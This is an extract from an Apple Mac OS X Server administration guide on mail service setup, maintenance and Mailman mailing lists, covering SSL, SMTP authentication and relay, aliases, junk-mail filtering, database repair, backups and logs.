Configuring SSL Transport for IMAP Connections
SSL transport enables mail transmitted over the network to be securely encrypted. You
can choose to Require, Use, or Don’t Use SSL for IMAP connections. Before using SSL
connections, you must have a security certificate for mail use. See the Open Directory
administration guide for more information on enabling SSL.
Requiring SSL transport for IMAP also requires it for POP.
To configure SSL transport for IMAP connections:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Click Require, Use, or Don’t Use (as desired) in the IMAP and POP SSL section.
5 Click Save.
LL2349.Book Page 21 Friday, August 22, 2003 2:47 PM
22
Chapter 1 Mail Service Setup
Configuring Outgoing Mail Service
The mail service includes an SMTP service for sending mail. Subject to restrictions that
you control, the SMTP service also transfers mail to and from mail service on other
servers. If your mail users send messages to another Internet domain, your SMTP
service delivers the outgoing messages to the other domain’s mail service. Other mail
services deliver messages for your mail users to your SMTP service, which then transfers
the messages to your POP service and IMAP service.
If you don’t choose any method of SMTP authentication, the SMTP server will allow
anonymous SMTP mail relay. Requiring SMTP authentication requires authentication for
mail relay. Mail addressed to local recipients is still accepted and delivered. Enabling
authentication for SMTP requires authentication from any of the selected authentication
methods prior to relaying mail.
Your mail service also has settings that restrict SMTP mail transfer and thereby limit
junk mail. For more information on these settings, see “Limiting Junk Mail” on page 29.
Enabling Secure SMTP Authentication
Your server can guard against being an open relay by allowing SMTP authentication.
(An open relay indiscriminately relays mail to other mail servers.) You can configure the
mail service to require secure authentication using either the CRAM MD-5 or Kerberos
method. You can also allow the less secure plain and login authentication methods,
which don’t encrypt passwords, if some users have email client software that doesn’t
support the secure methods.
If you configure your mail service to require CRAM MD-5, mail users’ accounts must be
set to use a password server that has CRAM MD-5 enabled. For information, see the
Open Directory administration guide.
Before enabling Kerberos authentication for incoming mail service, you must integrate
Mac OS X with a Kerberos server. If you are using Mac OS X Server for Kerberos
authentication, this is already done for you. For instructions, see the Open Directory
administration guide.
To allow secure SMTP authentication:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Check CRAM MD-5, or Kerberos (as desired) in the SMTP section.
5 Click Save.
LL2349.Book Page 22 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
23
Enabling Less Secure SMTP Authentication
Your server can guard against being an open relay by requiring SMTP authentication.
(An open relay indiscriminately relays mail to other mail servers.) Requiring
authentication ensures that only known users—people with user accounts on your
server—can send mail from your mail service. You can choose to require, allow, or
disallow less secure authentication methods (plain text, or login) for SMTP mail service.
Plain authentication sends mail passwords as plain text over the network. Login
authentication sends a minimally secure crypt hash of the password over the network.
To allow less secure authentication:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Check either Plain or Login in the SMTP section.
5 Click Save.
Configuring SSL Transport for SMTP Connections
SSL transport enables mail transmitted over the network to be securely encrypted. You
can choose to Require, Use, or don’t Use SSL for IMAP connections. Before using SSL
connections, you must have a security certificate for mail use. See the Open Directory
administration guide for more information on enabling SSL.
To configure SSL transport for SMTP connections:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Click Require, Use, or Don’t Use (as desired) in the SMTP SSL section.
5 Click Save.
LL2349.Book Page 23 Friday, August 22, 2003 2:47 PM
24
Chapter 1 Mail Service Setup
Relaying SMTP Mail Through Another Server
Rather than delivering outgoing mail directly to its various destinations, your SMTP
mail service can relay outgoing mail to another server.
Normally, when an SMTP server receives a message addressed to a remote recipient, it
will attempt to send that message directly to that server or the server specified in the
MX record, if it exists. Depending on your network setup, this method of mail transport
may not be desired or even possible. You may then need to relay all outbound
messages through a specific server.
• You may need to use this method to deliver outgoing mail through your
organization’s firewall set up by your organization. In this case, your organization will
designate a particular server for relaying mail through the firewall.
• You may find this method useful if your server has slow or intermittent connections
to the Internet.
To relay SMTP mail through another server:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Click the General tab.
5 Click “Relay all SMTP mail through this host” and enter the DNS name or IP address of
the server that provides SMTP relay.
6 Click Save.
Supporting Mail Users
This section discusses mail settings in your server’s user accounts and mail service
settings in email client software.
Configuring Mail Settings for User Accounts
To make mail service available to users, you must configure mail settings in your user
accounts. For each user, you need to enable mail service, enter the DNS name or IP
address of your mail server, and select the protocols for retrieving incoming mail (POP,
IMAP, or both). You can also set a quota on disk space available for storing a user’s mail.
You configure these settings with the Workgroup Manager application. For instructions,
see the user management guide.
LL2349.Book Page 24 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
25
Configuring Email Client Software
Users must configure their email client software to connect to your mail service. The
following table details the information most email clients need and the source of the
information in Mac OS X Server.
Email client software
Mac OS X Server
Example
User name
Full name of the user
Steve Macintosh
Account name
Account ID
Short name of user account
steve
Password
Password of user account
Host name
Mail server
Mail host
Mail server’s full DNS name or IP
address, as used when you log
in to the server in Server Admin
mail.example.com
192.168.50.1
Email address
User’s short name, followed by
the @ symbol, followed by one
of the following:
• Server’s Internet domain (if the
mail server has an MX record
in DNS)
• Mail server’s full DNS name
• Server’s IP address
[email protected]
[email protected]
[email protected]
SMTP host
SMTP server
Same as host name
mail.example.com
192.168.50.1
POP host
POP server
Same as host name
mail.example.com
192.168.50.1
IMAP host
IMAP server
Same as host name
mail.example.com
192.168.50.1
SMTP user
Short name of user account
steve
SMTP password
Password of user account
LL2349.Book Page 25 Friday, August 22, 2003 2:47 PM
26
Chapter 1 Mail Service Setup
Creating an Administration Account
You may need to create a mail administrator account to maintain and watch mail
folders, remove defunct user accounts, and archive mail. This administrator account
doesn’t need to be a server administrator. Also, this administrator account shouldn’t
receive mail. It is not a normal mail account.
To create a mail administrator account:
1 Create a user to be mail administrator.
2 If you have not created a user record for the mail administrator’s account, see the user
management guide.
3 Open /etc/imapd.conf in a text editor.
If you are not comfortable using a terminal text editor like emacs or vi, you can use
TextEdit.
4 Find the line that reads “admins:”
5 Edit the line to add the account name of the administrator account after the colon.
6 Save your changes.
For more information see the man page for imapd.conf.
Creating Additional Email Addresses for a User
Mail service allows each individual user to have more than one email address. Every
user has one email address that is formed from the short name of the user account. In
addition, you can define more names for any user account by creating an alias file. Each
additional name is an alternate email address for the user at the same domain. These
additional email addresses are not additional accounts that require separate quotas or
passwords. Most often alias files are used to map “postmaster” users to a real account
and give a “[email protected]” email address to a user with a short
login account name.
To create an alias:
1 Create a file to be used as an alias list in /etc/aliases, if none exists.
2 For each alias, make a line in the file with the following format:
alias:localaddress1,localaddress2,...
For example, for your domain example.com, if you want to give username “bob” an
alias of “robert.fakeuser” you should enter:
robert.fakeuser: bob
This will take mail sent to your mail server for [email protected] and
actually send it to the real mail account [email protected].
3 Save your file changes.
LL2349.Book Page 26 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
27
4 In Terminal.app, enter the following command:
postalias /etc/aliases
The text file is processed into a database for faster access.
5 At the prompt, enter the following command:
newaliases
The alias database will reload.
6 At the prompt, reload the mail server by entering the following command:
postfix reload
For further information about creating and maintaining email aliases, look at /etc/
postfix/alias.
Setting Up Forwarding Email Addresses for a User
You may use this to provide an email redirection service for your users. Any mail sent to
the user’s email account will be forwarded to the indicated account.
To forward a users mail:
1 In Workgroup Manager, open the user account you want to work with, if it is not
already open.
To open the account, click the Accounts button, then click the globe icon below the
toolbar menu and open the directory domain where the account resides. Click the lock
to be authenticated. Select the user in the user list.
2 Click the Mail tab.
3 Select Forward.
4 Enter the forwarding email address in the Forward To field.
Multiple addresses can be entered but must be separated by a comma.
LL2349.Book Page 27 Friday, August 22, 2003 2:47 PM
28
Chapter 1 Mail Service Setup
Adding or Removing Virtual Domains
Virtual domains are other domains which can be used in email addresses for your mail
users. It is also a list of all the domain names for which it is responsible. You should add
any names that are likely to appear after @ in the addresses of mail directed to your
server. For example, the list might contain variations of the spelling of your domain
name or company name. If you host mail for example.com and example.org, a virtual
domain would allow [email protected] to receive mail addressed to
[email protected] and example.org using the same mailbox.
Your mail settings apply to all domain names in this list.
In order to use a virtual domain, you must have the domain registered and you should
have an MX record pointing to your mail server for the domains you wish to enable.
To add or remove virtual domain names for the mail server:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Click Add and type the domain name of a virtual mail host for which you want your
server to be responsible.
5 To remove an item from the list, select it and click Remove.
Note: If you’ve set up MX records, you don’t need to add anything to this list. Your mail
service will add names as it discovers them in the course of its daily operation.
If a domain name in this list doesn’t have an MX record, only your mail service
recognizes it. External mail sent to this domain name will be returned. Place domain
names without MX records in this list only as a time saver for local (internal) mail.
LL2349.Book Page 28 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
29
Limiting Junk Mail
You can configure your mail service to decrease the volume of unsolicited commercial
mail, also known as junk mail and spam. You can take steps to block spam that is sent
to your mail users.
You can also take steps to prevent senders of junk mail from using your server as a
relay point. A relay point or open relay is a server that unselectively receives and
forwards all mail addressed to other servers. An open relay sends mail from any domain
to any domain. Junk mail senders exploit open relay servers to avoid having their own
SMTP servers blacklisted as sources of spam. You don’t want your server blacklisted as
an open relay, because other servers may reject mail from your users.
Your mail service can do any of the following to reduce spam:
• Require SMTP authentication
• Restrict SMTP relay, allowing relay only by approved servers
• Reject all SMTP connections from disapproved servers
• Reject mail from blacklisted servers
• Filter SMTP connections
Requiring SMTP Authentication
If your mail service requires SMTP authentication, your server cannot be used as an
open relay by anonymous users. Someone who wants to use your server as a relay
point must first provide the name and password of a user account on your server.
Your local mail users must also authenticate before sending mail. This means your mail
users must have mail client software that supports SMTP authentication or they will be
unable to send mail to remote servers. Mail addressed to local recipients will still be
accepted and delivered.
To require SMTP authentication, please see “Enabling Secure SMTP Authentication” on
page 22, and “Enabling Less Secure SMTP Authentication” on page 23.
LL2349.Book Page 29 Friday, August 22, 2003 2:47 PM
30
Chapter 1 Mail Service Setup
Restricting SMTP Relay
Your mail service can restrict SMTP relay by allowing only approved hosts to relay mail.
You create the list of approved servers. Approved hosts can relay through your mail
service without authenticating. Servers not on the list cannot relay mail through your
mail service unless they authenticate first. All hosts, approved or not, can deliver mail to
your local mail users without authenticating.
Your mail service can log connection attempts made by hosts not on your approved
list.
To restrict SMTP relay:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Filters tab.
4 Check “Accept SMTP relays only from these”
5 Edit the list of hosts.
a Click the Add button to add a host to the list.
b Click the Remove button to delete the currently selected host from the list.
c Click the Edit button to change the currently selected host from the list.
d Enter a single IP address, or the network/netmask pattern such as 192.168.40.0/21
SMTP Authentication and Restricted SMTP Relay Combinations
The following table describes the results of using SMTP authentication and restricted
SMTP relay in various combinations.
SMTP requires
authentication
Restricted
SMTP relay
Result
On
Off
All mail servers must authenticate before your mail service will
accept any mail for relay. Your local mail users must also
authenticate to send mail.
On
On
Approved mail servers can relay without authentication. Servers
that you have not approved can relay after authenticating with
your mail service.
Off
On
Your mail service can’t be used for open relay. Approved mail
servers can relay (without authenticating). Servers that you have
not approved can’t relay unless they authenticate, but they can
deliver to your local mail users. Your local mail users don’t have to
authenticate to send mail.
This is the most common configuration.
LL2349.Book Page 30 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
31
Rejecting SMTP Connections From Specific Servers
Your mail service can reject unauthorized SMTP connections from hosts on a
disapproved-hosts list that you create. All mail traffic from servers in this list is denied
and the SMTP connections are closed after posting a 554 SMTP connection refused
error.
To reject unauthorized SMTP connections from specific servers:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Filters tab.
4 Check “Refuse all messages from these.”
5 Edit the list of servers.
a Click the Add button to add a host to the list.
b Click the Remove button to delete the currently selected host from the list.
c Click the Edit button to change the currently selected host from the list.
d When adding to the list, you can use a variety of notations.
e Enter a single IP address.
Rejecting Mail From Blacklisted Senders
Your mail service can reject mail from SMTP servers that are blacklisted as open relays
by an ORBS server. Your mail service uses an ORBS server that you specify.
Important: Blocking unsolicited mail from blacklisted senders may not be completely
accurate. Sometimes it can prevent valid mail from being received.
To reject mail from blacklisted senders:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Filters tab.
4 Check “Use these junk mail rejection servers.”
5 Edit the list of servers by adding the DNS name of an RBL server.
a Click the Add button to add a server to the list.
b Click the Remove button to delete the currently selected server from the list.
c Click the Edit button to change the currently selected server from the list.
d Enter the domain name of the desired RBL server, such as rbl.example.com
LL2349.Book Page 31 Friday, August 22, 2003 2:47 PM
32
Chapter 1 Mail Service Setup
Filtering SMTP Connections
You can use the firewall service of Mac OS X Server to allow or deny access to your
SMTP mail service from specific IP addresses. Filtering disallows all communication
between an originating host and your mail server. Mail service will never receive the
incoming connection and no SMTP error will be generated and sent back to the client.
To filter SMTP connections:
1 In Server Admin, select Firewall in the Computers & Services pane.
2 Create a firewall IP filter using the instructions in the network services administration
guide using the following settings:
• Access: Denied
• Port number: 25 (or your incoming SMTP port, if you use a non-standard port)
• Protocol: TCP
• Source: the IP address or address range you want to block
• Destination: your mail server’s IP address
3 If desired, log the packets to monitor the SMTP abuse.
4 Add more new filters for the SMTP port to allow or deny access from other IP addresses
or address ranges.
For additional information on the firewall service, see the network services
administration guide
LL2349.Book Page 32 Friday, August 22, 2003 2:47 PM
2
33
2 Mail Service Maintenance
After setting up your mail service, there are some ongoing tasks to keep your mail
service running efficiently and smoothly. The Server Admin application has a number of
features that help you with these day-to-day tasks.
This chapter describes the maintenance of basic mail service, database, and mail store,
including archiving. It also contains information about mail monitoring, logging, and
undeliverable mail.
Starting and Stopping Mail Service
Mail service is ordinarily started automatically after you complete the Server Assistant.
You can also use the Server Admin application to start and stop mail service at your
discretion.
To start or stop mail service:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the General tab.
4 Make sure at least one of the mail protocols (SMTP, POP, or IMAP) is enabled.
5 Click Start Service or Stop Service in the menubar.
When the service is turned on, the Stop Service button is available.
If you plan to turn off mail service for an extended period of time, notify users before
you stop the mail service.
LL2349.Book Page 33 Friday, August 22, 2003 2:47 PM
34
Chapter 2 Mail Service Maintenance
Reloading Mail Service
Sometimes it is necessary to reload the mail server for mail service setting changes to
take effect, for example, after restoring from backup, or altering the alias file. Reloading
the mail service can be done without interrupting current mail service.
To reload outgoing mail service:
1 Start Terminal.
2 As root, enter the following command:
postfix reload
Changing Protocol Settings for Incoming Mail Service
You can change the settings for your incoming mail service. By choosing POP3, IMAP, or
both.
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Click the General tab.
4 Enable or disable the IMAP or POP checkbooks as needed.
Improving Performance
Mail service needs to act very fast for a short period of time. It sits idle until a user
wants to read or send a message, and then it needs to transfer the message
immediately. Therefore, it puts intense but brief demands on the server. As long as
other services do not place heavy continuous demands on a server (as a QuickTime
streaming server would, for example), the server can typically handle several hundred
connected users.
As the number of connected mail users increases, the demand of mail service on the
server increases. If your mail service performance needs improvement, try the following
actions:
• Adjust the load each mail user can put on your server by limiting the number of mail
connections. For instructions, see “Controlling the Number of IMAP Connections” on
page 21.
• Move the mail storage location to its own hard disk or hard disk partition. For
instructions, see “Specifying the Location for the Mail Database and Mail Store” on
page 37.
• Run other services on a different server, especially services that place frequent heavy
demands on the server. (Each server requires a separate Mac OS X Server license.)
LL2349.Book Page 34 Friday, August 22, 2003 2:47 PM
Chapter 2 Mail Service Maintenance
35
Working With the Mail Store and Database
The mail database keeps track of messages for all mail service users. Mail service stores
messages in separate files. You can do the following with the mail database and files:
• Repair the Mail Store Database.
• Convert the mail database from an earlier version of Mac OS X Server.
• Specify the location where the mail database and files are stored.
• Backup and restore the mail store.
All these tasks are described in this section.
Repairing the Mail Store Database
The mail service updates the database of stored messages each time a message is
added, deleted, or moved. Sometimes during these updates, the mailstore’s database
can become corrupted. When users report that mail messages have “disappeared” or
become unreadable, the mail store database may be corrupted and need to be
reconstructed.
Reconstructing a database can be done while the mail server is running. Additionally, it
can be directed for any user to reconstruct only the affected mailboxes.
To reconstruct a corrupted database:
1 Start Terminal.app.
2 As root user, change to the cyrus user:
su cyrus
3 Enter the following command:
/usr/bin/cyrus/bin/reconstruct -r -f /var/spool/imap/[user name]
For more information about the reconstruct command, see their man pages by
entering:
man reconstruct.
LL2349.Book Page 35 Friday, August 22, 2003 2:47 PM
36
Chapter 2 Mail Service Maintenance
Converting the Mail Store and Database From an Earlier Version
If you have used any previous version of Apple Mail Service, you’ll need to convert your
users’ mail messages and mail database to the current format.
To convert an earlier version of the Apple Mail Service mail database run the Terminal
tool amsmailtool.
To convert the database:
1 Start Terminal.app.
2 As root user, enter the following command:
/usr/bin/cyrus/tools/amsmailtool
The conversion tool displays its status in the terminal as each user and mailbox is
migrated.
Note: To complete the mail database conversion successfully, the server must have
enough available disk space. The amount of available disk space should equal the size
of the database file being converted. If there’s not enough disk space available,
amsmailtool won’t convert the mail database and messages.
Using Amsmailtool
The utility amsmailtool, if launched without arguments, runs as follows:
• The tool looks first for the 10.2.x mail database. If it doesn’t find one, it looks for the
10.1.x mail database. If both exist, only the first one it finds will be migrated.
• Mail is exported to the default destination directory, creating target mailboxes as
needed.
• Each migrated message is marked in the database to prevent duplicate migrations.
• If the migration is canceled, rerunning the tool continues the previous migration by
checking if a particular message has already been migrated.
If you want to specify a single type of database, source directory, or target directory to
migrate, you may run amsmailtool with certain arguments as options.
To see the complete list arguments and command syntax:
1 Start Terminal.app.
2 As root user, enter the following command:
/usr/bin/cyrus/tools/amsmailtool -help
LL2349.Book Page 36 Friday, August 22, 2003 2:47 PM
Chapter 2 Mail Service Maintenance
37
Specifying the Location for the Mail Database and Mail Store
If you are starting mail service for the first time and you have no existing mail database,
you can specify where the mail database and message files will be stored. By default
mail database location is /var/imap/ and the mail store location is /var/spool/imap/.
To specify where mail is stored on the server:
1 If mail service is already running, stop the mail service. See “Starting and Stopping Mail
Service” on page 33 for details.
2 In Server Admin, select Mail in the Computers & Services pane.
3 Click Settings.
4 Click the Advanced tab.
5 Enter the path of the location where you want the mail files to be stored in the “Mail
store” field.
You can browse for a location by clicking Browse next to the location field.
6 Restart or reload mail service.
When mail service starts for the first time, it creates an empty mail store at the default
location. You can ignore this or delete it after you have specified an alternate mail
storage location and restarted mail service.
Note: Changing the mail store location of an existing mail system does not move the
mail from the old location to the new one.
Backing Up and Restoring Mail Messages
You can back up the mail service data by making a copy of the mail service folder. If
you need to restore the mail service data, you can replace the mail service folder with a
backup copy. You can back up individual mail storage folders, or the entire mail store,
as needed. One command line tool that can be used to back up your mail messages is
ditto. See ditto’s man page for information.
Important: Stop mail service before backing up or restoring the mail service folder. If
you back up the mail service folder while mail service is active, the backup mail
database file may go out of sync with the backup folder. If you restore while mail
service is active, the active mail database file might go out of sync with the active
folder.
An incremental backup of the mail service folder can be fast and efficient. If you back
up your mail data incrementally, the only files copied are the small database file and
the message files that are new or changed since the last backup.
After restoring the mail service folder, notify users that messages stored on the server
have been restored from a backup copy.
LL2349.Book Page 37 Friday, August 22, 2003 2:47 PM
38
Chapter 2 Mail Service Maintenance
If you’re using the UNIX Sendmail program or another mail transfer agent instead of
Mac OS X Server’s SMTP service, you should also back up the contents of the /var/mail
folder. This folder is the standard location for UNIX mail delivery.
Monitoring Mail Messages and Folders
This section describes how to perform common administrator tasks for monitoring mail
messages. It shows how to:
• Designate an account as a mail administrator account.
• Save mail messages for monitoring and archival purposes.
Allowing Administrator Access to the Mail Folders
You can configure IMAP to allow the server administrator to view the mail service
hierarchy. Administrators cannot view mail itself, only users folder locations.
Administrators can also create globally shared folders and set user quotas. To take
advantage of this administrator access, you must use an email client that allows you to
connect via the standard IMAP port (143).
When you connect as the IMAP administrator, you see all the user mail folders stored
on the server. Each user’s mailbox appears as a separate folder in your mail client. You
can remove inactive mailbox folders that belonged to deleted user accounts.
To configure administrator access to the mail folders:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the General tab and select Enable IMAP, if it is not already checked.
4 Select an existing user or create a new user using Workgroup Manger to be an IMAP
administrator.
5 If you have not created a user record for the mail administrator’s account, see the user
management guide.
6 Open /etc/imapd.conf in a text editor.
If you are not comfortable using a terminal text editor like emacs or vi, you can use
TextEdit.
7 Find the line that reads “admins:”
8 Edit the line to add the UID number of the administrator account after the colon.
9 Save your changes.
10 In your email client application, create an account that uses IMAP to connect to your
mail service using the mail administrator name.
For more information, see the man page for imapd.conf.
LL2349.Book Page 38 Friday, August 22, 2003 2:47 PM
Chapter 2 Mail Service Maintenance
39
Saving Mail Messages for Monitoring and Archival Purposes
You can configure mail service to send blind carbon copies (Bcc) of each incoming or
outgoing message to a user or group that you specify. You might want to do this if you
need to monitor or archive messages. Senders and receivers of mail don’t know that
copies of their mail are being archived.
You can set up the specified user or group to receive the blind carbon copies using
POP, then set up a client email application to log in periodically and clean out the
account by retrieving all new messages. Otherwise, you may want to periodically copy
and archive the messages directly from the destination directory with automated shell
commands. You can set up filters in the email client to highlight certain types of
messages. Additionally, you can archive all messages for legal reasons.
To save all messages:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the General tab.
4 Check “Copy incoming and outgoing messages to” and type a user name or group
name.
5 Click Save.
Monitoring Mail Service
This section describes how to use the Server Admin application to monitor the
following:
• Overall mail service activity, including the number incoming or outgoing connected
mail connections.
• Current connected mail users.
• Mail accounts.
• Mail service logs.
This section also describes how Mac OS X Server reclaims disk space used by logs and
how you can reclaim space manually.
LL2349.Book Page 39 Friday, August 22, 2003 2:47 PM
40
Chapter 2 Mail Service Maintenance
Viewing Overall Mail Service Activity
You can use Server Admin to see an overview of mail service activity. The overview
reports whether the service is running, when mail service started, and incoming and
outgoing connections by protocol.
To see an overview of mail service activity:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click the Overview button.
Viewing the Mail Connections List
The Server Admin application can list the users who are currently connected to the
mail service. For each user, you see the user name, IP address of the client computer,
type of mail account (IMAP or POP), number of connections, and the connection
length.
To view a list of mail users who are currently connected:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click the Connections button.
Viewing Mail Accounts
You can use the Server Admin application to see a list of users who have used their
mail accounts at least once. For each account, you see the user name, disk space quota,
disk space used, and the percent of space that is available to the user. Mail accounts
that have never been used are not listed.
To view a list of mail accounts:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click the Accounts button.
Viewing Mail Service Logs
The mail service maintains four logs, and you can use Server Admin to view them.
• Server log: General mail service information goes into the Server log.
• IMAP log: IMAP-specific activity goes into this log.
• POP log: POP specific activity goes into this log.
• SMTP log: SMTP specific activity goes into this log.
To view a mail service log:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click the Logs button.
3 Choose a log type from the Show pop-up menu.
LL2349.Book Page 40 Friday, August 22, 2003 2:47 PM
Chapter 2 Mail Service Maintenance
41
Setting Mail Service Log Detail Level
Mail service logs can show several levels of reported detail. The three levels of detail
are:
• Low (errors only)
• Medium (errors and messages)
• High (all events)
To set the mail service log detail:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the Logging tab.
4 Choose a detail level from the Log Detail Level pop-up menu.
Archiving Mail Service Logs by Schedule
Mac OS X Server automatically archives mail service logs after a certain amount of time.
Each archive log is compressed and uses less disk space than the original log file. You
can customize the schedule to archive the logs after a set period of time, measured in
days.
To archive logs by schedule:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the Logging tab.
4 Enter the desired number of days.
Reclaiming Disk Space Used by Mail Service Log archives
Mac OS X Server automatically reclaims disk space used by mail service logs when they
reach a certain size or age. If you are comfortable using the Terminal application and
UNIX command-line tools, you can use the command-line tool “diskspacemonitor” to
monitor disk space whenever you want, and delete or move the log archives. For
additional information, see “diskspacemonitor” in the command-line administration
guide.
LL2349.Book Page 41 Friday, August 22, 2003 2:47 PM
42
Chapter 2 Mail Service Maintenance
Dealing With a Full Disk
Mail services become erratic and suffer from data corruption if the disk storing your
mail reaches maximum capacity. When your disk reaches full capacity, you’ll experience
the following behaviors:
• Postfix behavior
If the operating system can still spawn the smtpd process, Postfix will try to function
and attempt to accept the message. The message will then be rejected with a “disk full”
error. Otherwise, its behavior is unpredictable.
• Cyrus behavior
If the operating system can still spawn an imapd or pop3d process, the server will
attempt to open the user's mail account. Upon success, the user can access mail as
normal. Any changes that require database additions and causing the database to
grow can cause the process to hang and corrupt the database.
Working With Undeliverable Mail
Mail messages might be undeliverable for several reasons. You can configure your mail
service to forward undeliverable incoming mail, limit attempts to deliver problematic
outgoing mail, report failed delivery attempts, and change mail service timeouts to
increase chances of connection success.
Incoming mail might be undeliverable because it has a misspelled address or is
addressed to a deleted user account. Outgoing mail might be undeliverable because
it’s misaddressed or the destination mail server is not working.
Forwarding Undeliverable Incoming Mail
You can have mail service forward messages that arrive for unknown local users to
another person or a group in your organization. Whoever receives forwarded mail that’s
incorrectly addressed (with a typo in the address, for example) can forward it to the
correct recipient. If forwarding of these undeliverable messages is disabled, the
messages are returned to sender.
To set up forwarding of undeliverable incoming mail:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the General tab.
4 Check “Forward mail addressed to unknown local users” and type a user name or group
name.
5 Click Save.
LL2349.Book Page 42 Friday, August 22, 2003 2:47 PM
Chapter 2 Mail Service Maintenance
43
Where to Find More Information
You can find more information about mail service in books and on the Internet.
Books
For general information about mail protocols and other technologies, see these books:
• A good all-around introduction to mail service can be found in Internet Messaging, by
David Strom and Marshall T. Rose (Prentice Hall, 1998).
• For more information on MX records, see “DNS and Electronic Mail” in DNS and BIND,
3rd edition, by Paul Albitz, Cricket Liu, and Mike Loukides (O’Reilly and Associates,
1998).
• Also of interest may be Removing the Spam: Email Processing and Filtering, by Geoff
Mulligan (Addison-Wesley Networking Basics Series, 1999).
• To learn about email standards, see Essential E-Mail Standards: RFCs and Protocols
Made Practical, by Pete Loshin (John Wiley & Sons, 1999).
• To learn more about Postfix, see Postfix, by Richard Blum (Sams; 1st edition, 2001)
• To learn more about Cyrus, see Managing IMAP, by Dianna Mullet, Kevin Mullet
(O'Reilly & Associates, 2000)
Internet
There is an abundance of information about the different mail protocols, DNS, and
other related topics on the Internet.
Request for Comments (RFC) documents provide an overview of a protocol or service
and details about how the protocol should behave. If you are a novice server
administrator, you may find some of the RFC background information helpful. If you are
an experienced server administrator, you will find all the technical details about a
protocol in its RFC document. You can search for RFC documents by number at this
web site:
www.faqs.org/rfcs
For technical details about how mail protocols work, see these RFC documents:
• POP: RFC 1725
• IMAP: RFC 2060
• SMTP: RFC 821 and RFC 822
LL2349.Book Page 43 Friday, August 22, 2003 2:47 PM
44
Chapter 2 Mail Service Maintenance
For more information about Postfix, go to:
www.postfix.org
For more information about Cyrus, go to:
asg.web.cmu.edu/cyrus
For more information about Sendmail, go to:
www.sendmail.org
You can find out more about servers that filter junk mail at this web site:
www.ordb.org
LL2349.Book Page 44 Friday, August 22, 2003 2:47 PM
3
45
3 Mailing Lists
Mailing lists distribute a single email message to multiple recipients. Mailing lists differ
from workgroups in a few fundamental ways. First, mailing lists are not linked to file or
directory permissions. Mailing lists can be administered by someone other than the
workgroup or server administrator. More importantly, mailing list subscribers do not
have to have any kind of account (mail or file access) on the list’s server; any email
address can be added to the list. Finally, list subscribers can often remove themselves
from lists, and add themselves to lists.
Mac OS X Server uses Mailman version 2.1.2 for its mailing list service. You can find
more information about Mailman at the website www.list.org.
Setting Up a List
This section describes the process of setting up a mailing list. To do this, you enable the
service, define a list name, and add subscribers to the list.
Enabling Mailing Lists
Before you can define mailing lists and subscribers, you need to enable the list service.
To enable the mailing lists:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the Mailing Lists tab.
4 Click Enable Mailing Lists.
5 Click Save.
LL2349.Book Page 45 Friday, August 22, 2003 2:47 PM
46
Chapter 3 Mailing Lists
Defining a List Name
The list name is the email account name to which mailing list users will send their mail.
To define a list’s name:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the Mailing Lists tab.
4 Click the Add button under the List pane.
5 Enter the list’s name.
6 Click Users May Self Subscribe, if necessary.
7 Click Save.
Adding a Subscriber
Server Admin lets you add mailing list subscribers to an existing list. Mailing list
subscribers need not have any kind of account (mail or file access) on the list’s server;
any email address can be added to the list. You must have an existing list to add a
subscriber.
If the subscriber is a user on the mail server, you can use the Users and Groups button
to add a local subscriber to the list.
To add a single subscriber:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the Mailing Lists tab.
4 Select the list to which you want to add a subscriber.
5 Click the Add button under the Users pane.
6 Enter the recipient’s email address.
If you are entering multiple subscribers, enter all the recipients’ email addresses or drop
a text list onto the User Identifier pane. If the subscribers are users on the mail server,
you can use the Users and Groups button to add a local groups to the list.
7 Assign the subscriber privileges.
8 Click OK.
LL2349.Book Page 46 Friday, August 22, 2003 2:47 PM
Chapter 3 Mailing Lists
47
Changing a List
After a list is created, you can add or remove people from an existing list. You may want
to give list administration privileges to a user, or change a user’s ability to receive or
post to the list.
Adding a Subscriber to an Existing List
This is the same procedure as adding a user to a newly created list.
To add a subscriber to an existing list:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the Mailing Lists tab.
4 Select the List to which you want to add a subscriber.
5 Click the Add button under the Users pane.
6 Enter the recipient’s email address.
7 Assign the subscriber privileges.
8 Click OK.
Removing a List Subscriber
You can remove a subscriber from a mailing list, either forcibly or by request.
To remove a list subscriber
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the Mailing Lists tab.
4 Select the list from which you want to remove a subscriber.
5 Select the subscriber from the User pane.
Hold down the Shift or Command key to select multiple subscribers.
6 Click the Delete button under the Users pane.
7 Confirm the delete.
